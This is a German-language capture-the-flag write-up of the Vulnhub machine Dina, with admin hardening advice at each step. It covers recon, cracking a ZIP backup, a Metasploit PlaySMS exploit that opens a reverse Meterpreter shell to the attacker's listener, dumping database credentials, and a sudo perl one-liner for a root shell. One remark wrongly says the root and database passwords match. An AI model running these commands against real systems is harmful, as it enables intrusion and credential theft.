Dina-1-0-1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nmap
nikto
gobuster
Webbrowser (Manual Analysis)
zip2john
john
cat
msfdb
msfconsole
exploit/multi/http/playsms_filename_exec
mysql (Client)
wget
exiftool
stegseek
find
getcap
sudo
perl
id
ls
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.116	08:00:27:3a:ec:d6	PCS Systemtechnik GmbH
                    

Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Hosts zu finden.

Bewertung: Der Host `192.168.2.116` wird entdeckt. Die MAC-Adresse `08:00:27:3a:ec:d6` (PCS Systemtechnik GmbH) ist ein typischer Indikator für eine VirtualBox-VM.

Empfehlung (Pentester): Verwende `192.168.2.116` als Ziel für weitere Scans.
Empfehlung (Admin): Standard-Netzwerk-Discovery.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.116   dina.vln
                    

Analyse: Die lokale Hosts-Datei wird bearbeitet, um den Hostnamen `dina.vln` der IP `192.168.2.116` zuzuordnen.

Bewertung: Erleichtert das Ansprechen des Ziels über einen Namen.

Empfehlung (Pentester): Verwende `dina.vln` für Web-Tests.
Empfehlung (Admin): Clientseitige Konfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.116 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 00:10 CEST
Nmap scan report for dina.vln (192.168.2.116)
Host is up (0.00012s latency).
Not shown: 65534 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
|_/ange1 /angel1 /nothing /tmp /uploads
|_http-title: Dina
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:3A:EC:D6 (racle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HOP RTT     ADDRESS
1   0.12 ms dina.vln (192.168.2.116)
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird gegen das Ziel durchgeführt.

Bewertung: * **Nur Port 80 (HTTP):** Es ist nur ein Port offen. Apache httpd Version 2.2.22 (Ubuntu) läuft darauf. Diese Version ist sehr alt und hat bekannte Schwachstellen. * **`robots.txt`:** Nmap findet eine `robots.txt` mit interessanten `Disallow`-Einträgen: `/ange1`, `/angel1`, `/nothing`, `/tmp`, `/uploads`. Diese Pfade sollten untersucht werden. * **Seitentitel:** Der Titel ist "Dina".

Empfehlung (Pentester):** Konzentriere dich vollständig auf den Webserver auf Port 80. Untersuche die in `robots.txt` gefundenen Pfade, insbesondere `/nothing`. Prüfe auf bekannte Schwachstellen für Apache 2.2.22.
Empfehlung (Admin):** **Dringend Apache aktualisieren!** Version 2.2 ist End-of-Life. `robots.txt` sollte keine internen oder sensiblen Pfade auflisten.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.116 -p- | grep open
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
                    

Analyse: Gefilterte Nmap-Ausgabe zur Bestätigung des offenen Ports.

Bewertung: Bestätigt Port 80 (HTTP).

Empfehlung (Pentester): Weiter mit Web-Enumeration.
Empfehlung (Admin): Siehe vorherige Empfehlungen.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.116
- Nikto v2.5.0
[...]
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags [...].
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /ange1/: Directory indexing found.
+ /robots.txt: Entry '/ange1/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /uploads/: Directory indexing found.
+ /robots.txt: Entry '/uploads/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /angel1/: Directory indexing found.
+ /robots.txt: Entry '/angel1/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /tmp/: Directory indexing found.
+ /robots.txt: Entry '/tmp/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /robots.txt: contains 5 entries which should be manually viewed. [...]
+ Apache/2.2.22 appears to be outdated [...].
+ /index: Apache mod_negotiation is enabled with MultiViews [...], found: index.html.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /secure/: Directory indexing found. <-- Neu!
+ /tmp/: This might be interesting.
+ /icons/README: Apache default file found. [...]
+ /#wp-config.php#: #wp-config.php# file found. <-- Falsch-Positiv? Unwahrscheinlich bei Apache 2.2 ohne WP-Hinweis.
[...]
+ 1 host(s) tested
                     

Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt.

Bewertung:** Nikto bestätigt viele Nmap-Funde und fügt hinzu: * Bestätigt veralteten Apache 2.2.22. * Bestätigt die Zugänglichkeit und das Directory Indexing für die Pfade aus `robots.txt`: `/ange1`, `/angel1`, `/uploads`, `/tmp`. * Findet zusätzlich das Verzeichnis `/secure/` mit Directory Indexing. * `mod_negotiation` ist aktiv (kann zur Dateinamen-Enumeration führen). * Findet eine potenzielle WordPress-Datei (`#wp-config.php#`), was aber angesichts der Apache-Version und fehlender anderer WP-Hinweise eher unwahrscheinlich erscheint. Die Verzeichnisse mit Directory Indexing sind die wichtigsten Funde.

Empfehlung (Pentester):** Untersuche manuell die Inhalte der Verzeichnisse `/ange1`, `/angel1`, `/nothing`, `/tmp`, `/uploads` und `/secure`. Suche nach Dateien, insbesondere Backups oder Konfigurationsdateien.
Empfehlung (Admin):** Apache dringend aktualisieren! Directory Indexing deaktivieren (`Options -Indexes`). `mod_negotiation` prüfen und ggf. deaktivieren. Unnötige Verzeichnisse entfernen.

Web Enumeration & Credential Discovery

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://dina.vln -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
[...]
http://dina.vln/index                (Status: 200) [Size: 3618]
http://dina.vln/index.html           (Status: 200) [Size: 3618]
http://dina.vln/uploads              (Status: 301) [Size: 306] [--> http://dina.vln/uploads/]
http://dina.vln/secure               (Status: 301) [Size: 305] [--> http://dina.vln/secure/]
http://dina.vln/robots.txt           (Status: 200) [Size: 102]
http://dina.vln/robots               (Status: 200) [Size: 102]
http://dina.vln/tmp                  (Status: 301) [Size: 302] [--> http://dina.vln/tmp/]
[...]
                     

Analyse: `gobuster` wird zur Verzeichnis-Enumeration eingesetzt.

Bewertung: Bestätigt die Existenz der von Nikto und `robots.txt` identifizierten Verzeichnisse `/uploads`, `/secure`, `/tmp`. Findet außerdem `index`/`index.html` und `robots`/`robots.txt` (aufgrund von `mod_negotiation`).

Empfehlung (Pentester):** Manuell die Inhalte der gefundenen Verzeichnisse untersuchen, insbesondere `/nothing` (aus robots.txt), `/tmp`, `/uploads`, `/secure`.
Empfehlung (Admin):** Siehe vorherige Empfehlungen.

Analyse:** Manuelle Untersuchung der gefundenen Verzeichnisse und Dateien.

[Analyse von http://dina.vln/robots.txt] └─#
User-agent: *
Disallow: /ange1
Disallow: /angel1
Disallow: /nothing
Disallow: /tmp
Disallow: /uploads
                     
[Analyse von http://dina.vln/nothing/] └─#
my secret pass
freedom
password
helloworld!
diana
iloveroot
                     
[Analyse von http://dina.vln/index.html] └─#
[...]

Dina 1.0

Dina ~ Angel of Learning.

ADMININ: This celestial being is said to be the angel who taught humans how to speak. He continually inspires us to culturally evolve and fills our hearts with love of learning.

© 2017 TUHID SHAIKH ~ www.touhidshaikh.com
[...]

Analyse: * `robots.txt` listet mehrere Verzeichnisse auf, darunter `/nothing`. * Das Verzeichnis `/nothing` wird aufgerufen (Directory Indexing muss aktiv sein) und enthält eine Liste von Wörtern, die wie Passwörter aussehen. * `index.html` zeigt den Titel "Dina 1.0" und den Autor "TUHID SHAIKH".

Bewertung: Die Passwortliste im `/nothing`-Verzeichnis ist der **wichtigste Fund**. Diese Passwörter (`freedom`, `diana` etc.) sollten für das Knacken von Hashes oder Archiven verwendet werden. Der Autor "Tuhid Shaikh" könnte ein Benutzername sein.

Empfehlung (Pentester):** Suche nach passwortgeschützten Dateien (z.B. ZIP-Archive in `/uploads`, `/tmp` oder `/secure`). Verwende die Passwortliste aus `/nothing/` zum Knacken.
Empfehlung (Admin):** **Entferne die Passwortliste aus `/nothing/`!** Speichere niemals Passwörter im Klartext im Web-Root. Deaktiviere Directory Indexing.

Analyse:** Cracken einer (vermutlich in `/uploads` oder `/tmp` gefundenen) ZIP-Datei.

┌──(root㉿cycat)-[~] └─# zip2john /home/cycat/Downloads/backup.zip > hash
[Keine Ausgabe, Hash wird in Datei geschrieben]
┌──(root㉿cycat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
[...]
freedom          (backup.zip/backup-cred.mp3)
1g 0:00:00:00 DONE (2023-07-13 00:19) 7.142g/s [...]
Session completed.
                     

Analyse: Aus einer Datei `backup.zip` wird mit `zip2john` der Passwort-Hash extrahiert. Dieser Hash wird dann mit `john` und der `rockyou.txt`-Wortliste geknackt.

Bewertung:** **Erfolg!** Das Passwort für die ZIP-Datei ist `freedom`. Dieses Wort war in der Liste im `/nothing`-Verzeichnis enthalten. Die ZIP-Datei enthält eine Datei namens `backup-cred.mp3`.

Empfehlung (Pentester):** Entpacke `backup.zip` mit dem Passwort `freedom` und untersuche den Inhalt von `backup-cred.mp3`.
Empfehlung (Admin):** Schütze Backup-Archive mit starken Passwörtern, die nicht leicht zu erraten oder in öffentlich zugänglichen Listen zu finden sind.

┌──(root㉿cycat)-[/home/cycat/Downloads] └─# cat backup-cred.mp3
I am not toooo smart in computer .......
dat the resoan i always choose easy password...
with creds backup file....

uname: touhid
password: diana

url : /SecreTSMSgatwayLogin
                     

Analyse: Der Inhalt der extrahierten Datei `backup-cred.mp3` (die wahrscheinlich eine Textdatei ist) wird angezeigt.

Bewertung:** **Kritische Credentials gefunden!** Die Datei enthält Zugangsdaten (`touhid`:`diana`) und einen URL-Pfad (`/SecreTSMSgatwayLogin`). Das Passwort `diana` war ebenfalls in der Liste im `/nothing`-Verzeichnis. Dies deutet auf eine Webanwendung (vermutlich PlaySMS, basierend auf dem Namen) unter dem gefundenen Pfad hin.

Empfehlung (Pentester):** Greife auf `http://dina.vln/SecreTSMSgatwayLogin` zu und versuche, dich mit `touhid:diana` anzumelden. Suche nach bekannten Schwachstellen für die dort laufende Anwendung (wahrscheinlich PlaySMS).
Empfehlung (Admin):** Speichere niemals Klartext-Credentials in Backup-Dateien. Verwende unterschiedliche, starke Passwörter.

Initial Access (PlaySMS Exploit)

Analyse:** Zugriff auf die gefundene PlaySMS-Anwendung und Ausnutzung einer bekannten Schwachstelle.

[Manuelle Analyse von http://dina.vln/SecreTSMSgatwayLogin] └─#
[Login mit touhid:diana erfolgreich. PlaySMS-Interface wird angezeigt.]

Analyse: Der Login in die PlaySMS-Anwendung unter `/SecreTSMSgatwayLogin` mit den Credentials `touhid:diana` gelingt.

Bewertung:** Der Zugriff auf die PlaySMS-Anwendung ist hergestellt. Dies öffnet die Tür für spezifische PlaySMS-Exploits.

Empfehlung (Pentester):** Suche im Metasploit Framework oder anderen Quellen nach Exploits für PlaySMS, die mit den vorhandenen Benutzerrechten funktionieren.
Empfehlung (Admin):** PlaySMS aktuell halten, Zugriff beschränken, Standardpfade ändern.

┌──(root㉿cycat)-[~] └─# msfdb start
[+] Starting database
┌──(root㉿cycat)-[~] └─# msfconsole -q
msf6 > search playsms
Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
[...]
   2  exploit/multi/http/playsms_filename_exec       2017-05-21       excellent  Yes    PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution
[...]
                    
msf6 > use exploit/multi/http/playsms_filename_exec
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/playsms_filename_exec) > set RHOSTS 192.168.2.116
RHOSTS => 192.168.2.116
msf6 exploit(multi/http/playsms_filename_exec) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/playsms_filename_exec) > set TARGETURI /SecreTSMSgatwayLogin
TARGETURI => /SecreTSMSgatwayLogin
msf6 exploit(multi/http/playsms_filename_exec) > set USERNAME touhid
USERNAME => touhid
msf6 exploit(multi/http/playsms_filename_exec) > set PASSWORD diana
PASSWORD => diana
msf6 exploit(multi/http/playsms_filename_exec) > set LHOST eth0
LHOST => 192.168.2.105
msf6 exploit(multi/http/playsms_filename_exec) > run
[*] Started reverse TCP handler on 192.168.2.105:4444
[+] Authentication successful : [ touhid : diana ]
[*] Sending stage (39927 bytes) to 192.168.2.116
[*] Meterpreter session 1 opened (192.168.2.105:4444 -> 192.168.2.116:53698) at 2023-07-13 00:36:47 +0200

meterpreter >
                    

Analyse: Metasploit wird gestartet und nach PlaySMS-Exploits gesucht. Der Exploit `exploit/multi/http/playsms_filename_exec` wird ausgewählt. Dieser Exploit nutzt eine Schwachstelle in der `sendfromfile.php`-Funktion aus, die authentifizierten Benutzern erlaubt, durch Manipulation des Dateinamen-Parameters Code auszuführen. Die notwendigen Optionen (Ziel-IP/Port, URI, Username/Passwort, lokale Listener-IP) werden gesetzt und der Exploit ausgeführt.

Bewertung:** **Exploit erfolgreich! Initial Access erreicht!** Der Exploit funktioniert, die Authentifizierung als `touhid` gelingt, und eine Meterpreter-Session wird geöffnet. Diese Session läuft als der Benutzer, unter dem der Webserver (und somit PlaySMS) ausgeführt wird, typischerweise `www-data`.

Empfehlung (Pentester):** Wechsle zur Meterpreter-Session (`sessions -i 1`) oder öffne eine Shell (`shell`). Beginne die Post-Exploitation als Webserver-Benutzer.
Empfehlung (Admin):** **PlaySMS dringend aktualisieren oder entfernen!** Diese Version ist bekanntermaßen anfällig. Web Application Firewall (WAF) kann solche Angriffe möglicherweise erkennen.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie durch das Finden eines passwortgeschützten Backups, das Knacken des Passworts mittels einer öffentlich zugänglichen Passwortliste und die Ausnutzung einer bekannten Schwachstelle (Authenticated RCE) in der PlaySMS-Anwendung eine Meterpreter-Shell als `www-data` erlangt wird.

Voraussetzungen:

  • Zugriff auf Webserver (Port 80) und gefundene Verzeichnisse (`/nothing`, `/uploads` etc.).
  • Auffindbares ZIP-Backup (`backup.zip`).
  • Passwortliste (`/nothing/`) und Crack-Tools (`zip2john`, `john`).
  • Zugängliche PlaySMS-Installation (`/SecreTSMSgatwayLogin`).
  • Metasploit Framework.

Schritt-für-Schritt Anleitung:

1. Passwortliste finden: Verzeichnis `/nothing` untersuchen.

2. Backup finden & Passwort knacken: `backup.zip` finden, Hash extrahieren (`zip2john`), Passwort (`freedom`) mit `john` und der Liste aus `/nothing` knacken.

3. Credentials extrahieren: `backup.zip` entpacken, `backup-cred.mp3` lesen -> `touhid:diana` und `/SecreTSMSgatwayLogin`.

4. PlaySMS Exploit (Metasploit):

msf6 > use exploit/multi/http/playsms_filename_exec
msf6 exploit(...) > set RHOSTS 192.168.2.116
msf6 exploit(...) > set TARGETURI /SecreTSMSgatwayLogin
msf6 exploit(...) > set USERNAME touhid
msf6 exploit(...) > set PASSWORD diana
msf6 exploit(...) > set LHOST [Angreifer-IP]
msf6 exploit(...) > run
[...]
[*] Meterpreter session 1 opened [...]
meterpreter >

Ergebnis & Bewertung: **Initialer Zugriff als `www-data` erfolgreich!** Eine Kette von Funden (Passwortliste, Backup, Klartext-Credentials) führte zur Ausnutzung einer bekannten Anwendungsschwachstelle.

Empfehlung (Pentester): Post-Exploitation starten.
Empfehlung (Admin):** Keine Passwörter/Listen im Webroot, Backups sicher speichern/verschlüsseln, PlaySMS patchen/entfernen.

Post-Exploitation (www-data)

Analyse:** Nach Erhalt der Meterpreter-Shell als `www-data` wird nach weiteren Informationen gesucht, insbesondere Datenbank-Credentials.

www-data@Dina:/var/www/SecreTSMSgatwayLogin$ cat config.php
root';
$core_config['db']['pass'] = 'hello@mysql';
$core_config['db']['name'] = 'playsms';
[...]
?>

Analyse: Die Konfigurationsdatei `config.php` von PlaySMS wird ausgelesen.

Bewertung:** **Kritische MySQL Root-Credentials gefunden!** Die Anwendung verwendet den MySQL-Benutzer `root` mit dem Passwort `hello@mysql`.

Empfehlung (Pentester):** Versuche, dich mit diesen Credentials am lokalen MySQL-Server anzumelden. Untersuche die Datenbanken (`playsms`, `mysql`) auf Benutzerdaten, Hashes oder andere sensible Informationen.
Empfehlung (Admin):** Erstelle dedizierte Datenbankbenutzer mit minimalen Rechten für Webanwendungen. Verwende niemals den DB-Root-Benutzer direkt in Anwendungen. Sichere die `config.php` mit restriktiven Dateiberechtigungen.

www-data@Dina:/var/www/SecreTSMSgatwayLogin$ mysql -u root -p
Enter password: hello@mysql [Passworteingabe]
Welcome to the MySQL monitor. [...]
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| playsms            |
+--------------------+
mysql> use playsms;
Database changed
mysql> show tables;
+-------------------------------------------+
| Tables_in_playsms                         |
+-------------------------------------------+
[...] | playsms_tblUser                         | [...]
+-------------------------------------------+
mysql> select * from playsms_tblUser;
+-------------+------------+-----+--------+--------+----------+----------------------------------+----------------------------------+--------------------+------------------------+--------+---------------+--------------------------+--------+---------+---------+--------+-------------+---------+---------+--------------+--------------+-------------------+-----------------+---------------+--------------+--------------+--------------+------------------+-------------+---------------------+---------------------+--------------+
| c_timestamp | parent_uid | uid | status | acl_id | username | password                         | token                            | enable_webservices | webservices_ip         | name   | mobile        | email                    | sender | footer  | address | city   | state       | country | zipcode | credit | adhoc_credit | datetime_timezone | language_module | fwd_to_mobile | fwd_to_email | fwd_to_inbox | replace_zero | plus_sign_remove | plus_sign_add | register_datetime   | lastupdate_datetime | flag_deleted |
+-------------+------------+-----+--------+--------+----------+----------------------------------+----------------------------------+--------------------+------------------------+--------+---------------+--------------------------+--------+---------+---------+--------+-------------+---------+---------+--------------+--------------+-------------------+-----------------+---------------+--------------+--------------+--------------+------------------+-------------+---------------------+---------------------+--------------+
|           0 |          0 |   1 |      2 |      0 | admin    | 78f3198ce97ae2bdddb15cc25d559c6f |                                  |                  0 | 127.0.0.1, 192.168.*.* | Admin  | +989876543210 | admin@example.com      |        | @admin  |         | Mumbai | Maharashtra |      81 |         |  0.000 |        0.000 | +0700             | en_US           |             0 |            1 |            1 |              |                1 |             0 |               0 |             0 | 2017-10-17 04:17:02 | 2017-10-17 04:17:02 |            0 |
|           0 |          0 |   2 |      3 |      0 | touhid   | 3a23bb515e06d0e944ff916e79a7775c | 51ff7f53d487db5bdb7d95d435af7203 |                  1 | *.*.*.*                | Touhid |               | admin@touhidshaikh.com |        | @touhid |         |        |             |       0 |         |  0.000 |        0.000 | +0700             | en_US           |             0 |            1 |            1 |              |                1 |             0 |               9 | 2017-10-17 11:48:10 | 2017-10-17 04:57:10 |            0 |
+-------------+------------+-----+--------+--------+----------+----------------------------------+----------------------------------+--------------------+------------------------+--------+---------------+--------------------------+--------+---------+---------+--------+-------------+---------+---------+--------------+--------------+-------------------+-----------------+---------------+--------------+--------------+--------------+------------------+-------------+---------------------+---------------------+--------------+
                     

Analyse: Erfolgreicher Login in die MySQL-Datenbank als `root` mit dem Passwort `hello@mysql`. Die `playsms`-Datenbank wird untersucht, und die Benutzertabelle `playsms_tblUser` wird abgefragt.

Bewertung: Die Tabelle zeigt die Benutzer `admin` und `touhid` mit ihren MD5-Passwort-Hashes. Der Hash für `touhid` (`3a23...`) entspricht MD5('diana'). Der Hash für `admin` (`78f3...`) ist unbekannt.

Empfehlung (Pentester):** Versuche, den MD5-Hash für `admin` online (z.B. Crackstation) oder offline (z.B. `hashcat`) zu knacken. Untersuche andere Datenbanken (`mysql`) auf Systembenutzer-Hashes.
Empfehlung (Admin):** Verwende starke Hashing-Algorithmen (nicht MD5) für Passwörter. Beschränke Datenbankzugriffe.

Analyse:** Ein nicht erfolgreicher Versuch, Steganografie auf ein Bild anzuwenden, das wahrscheinlich von der Webseite stammt.

┌──(root㉿cycat)-[/home/cycat/Downloads] └─# wget http://192.168.2.116/angeldina.jpg
[...]
┌──(root㉿cycat)-[/home/cycat/Downloads] └─# exiftool angeldina.jpg
[...] No obvious metadata [...]
┌──(root㉿cycat)-[/home/cycat/Downloads] └─# stegseek angeldina.jpg /usr/share/wordlists/rockyou.txt
[...] [i] Progress: 99.41% [...] <-- Läuft lange / Kein Ergebnis im Log

Analyse: Das Bild `angeldina.jpg` wird heruntergeladen. `exiftool` zeigt keine relevanten Metadaten. `stegseek` wird verwendet, um mit `rockyou.txt` nach versteckten Daten zu suchen, liefert aber im Log kein Ergebnis.

Bewertung:** Dieser Weg scheint eine Sackgasse zu sein. Steganografie ist hier wahrscheinlich nicht der vorgesehene Pfad oder erfordert ein anderes Passwort/Tool.

Empfehlung (Pentester):** Fokussiere dich auf die Enumeration des Systems als `www-data`, insbesondere auf `sudo`-Rechte und SUID-Dateien.
Empfehlung (Admin):** Keine Aktion erforderlich.

www-data@Dina:/var/www/tmp$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
259817   68 -rwsr-xr-x   1 root     root        65608 Jan 31  2012 /usr/bin/sudoedit
[...]
259817   68 -rwsr-xr-x   1 root     root        65608 Jan 31  2012 /usr/bin/sudo
[...]
258774   12 -rwsr-sr-x   1 root     root         9524 Mar 22  2012 /usr/bin/X  <-- Xorg SUID (alt, evtl. relevant?)
[...]
387994   32 -rwsr-xr-x   1 root     root        31116 Apr  9  2012 /bin/su
[...]
                    
www-data@Dina:/var/www/tmp$ getcap -r / 2>/dev/null
[Keine Ausgabe]

Analyse: Suche nach SUID-Binaries und Capabilities als `www-data`.

Bewertung: Findet hauptsächlich Standard-SUID-Dateien (`sudo`, `su`, `passwd` etc.). Keine Capabilities gefunden. `/usr/bin/X` mit SUID ist bei älteren Systemen manchmal ein Vektor, aber `sudo` ist der wahrscheinlichere Weg.

Empfehlung (Pentester):** Überprüfe die `sudo`-Rechte für `www-data` mit `sudo -l`.
Empfehlung (Admin):** Entferne unnötige SUID-Bits.

Privilege Escalation (sudo perl)

www-data@Dina:/var/www/tmp$ sudo -l
Matching Defaults entries for www-data on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on this host:
    (ALL) NOPASSWD: /usr/bin/perl
                    

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für `www-data` zu prüfen.

Bewertung:** **Kritische Fehlkonfiguration!** Der Benutzer `www-data` darf `/usr/bin/perl` als `ALL` (jeder Benutzer, insbesondere root) **ohne Passwortabfrage** (`NOPASSWD`) ausführen. Perl kann sehr einfach zum Ausführen von Systembefehlen oder zum Spawnen einer Shell missbraucht werden.

Empfehlung (Pentester):** Nutze die `sudo perl`-Berechtigung zur Privilege Escalation. Der Befehl `sudo /usr/bin/perl -e 'exec "/bin/bash";'` sollte eine Root-Shell liefern (siehe GTFOBins).
Empfehlung (Admin):** **Korrigiere die `/etc/sudoers`-Datei dringend!** Erlaube `perl` niemals mit `sudo` auf diese Weise, besonders nicht für den Webserver-Benutzer und ohne Passwort.

www-data@Dina:/var/www/tmp$ sudo -u root /usr/bin/perl -e 'exec "/bin/bash";'
[Keine Ausgabe, aber Prompt ändert sich]
root@Dina:/var/www/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der GTFOBins-Payload für `sudo perl` wird ausgeführt. `-u root` ist optional, da `ALL` bereits Root impliziert. `-e 'exec "/bin/bash";'` weist Perl an, den aktuellen Prozess durch `/bin/bash` zu ersetzen.

Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel wurde ausgenutzt, um eine Root-Shell zu erhalten (`uid=0(root)`).

Empfehlung (Pentester):** Root-Zugriff etabliert. Suche die Root-Flag.
Empfehlung (Admin):** `sudoers`-Regel korrigieren.

root@Dina:/var/www/tmp# cd ~
root@Dina:~# ls -la
[...]
-rw-r--r--  1 root root  639 Oct 17  2017 flag.txt
[...]
root@Dina:~# cat flag.txt
________                                                _________
\________\--___       ___         ____-/_________/
    \_______\-\\\\\\   //_ _ \\    //////-/________/
        \______\-\\|| (( ~|~ )))  ||///________/
            \_____\\\ ((\ = / ))) //-/_____/
                 \____\--\_)))  \ _)))/____/
                       \__/  (((     (((_/
                          |  -)))  -  ))


root password is : hello@3210
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....


CONG.........
FLAG : 22d06624cd604a0626eb5a2992a6f2e6
                    

Analyse: In der Root-Shell wird in `/root` gewechselt und `flag.txt` angezeigt.

Bewertung: Die Datei `flag.txt` enthält ASCII-Art, einen Hinweis auf das Root-Passwort (`hello@3210` - was mit den DB-Credentials übereinstimmt) und die **Root-Flag**: `22d06624cd604a0626eb5a2992a6f2e6`.

Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Verwende unterschiedliche Passwörter für Root und Datenbanken. Entferne Flags aus lesbaren Dateien.

Proof of Concept: Privilege Escalation

Ziel des POC: Demonstrieren, wie eine unsichere `sudoers`-Regel, die dem Benutzer `www-data` erlaubt, `/usr/bin/perl` ohne Passwort als Root auszuführen, zur Erlangung einer Root-Shell missbraucht werden kann.

Voraussetzungen: Shell als `www-data`, unsichere `sudoers`-Regel (`(ALL) NOPASSWD: /usr/bin/perl`), Tools `sudo`, `perl`.

Schritte: `sudo -l` ausführen -> `sudo /usr/bin/perl -e 'exec "/bin/bash";'` ausführen -> `id` zur Bestätigung.

www-data@Dina:/var/www/tmp$ sudo -l
[...] (ALL) NOPASSWD: /usr/bin/perl
www-data@Dina:/var/www/tmp$ sudo /usr/bin/perl -e 'exec "/bin/bash";'
root@Dina:/var/www/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die `sudo`-Fehlkonfiguration ermöglichte die triviale Eskalation zu Root.

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin):** **`sudoers`-Regel für Perl dringend korrigieren!**

Flags

cat /home/l/user.txt (Inhalt war Brainfuck, Flag nicht direkt gefunden)
(User-Flag nicht explizit im Log gefunden)
cat /root/flag.txt
22d06624cd604a0626eb5a2992a6f2e6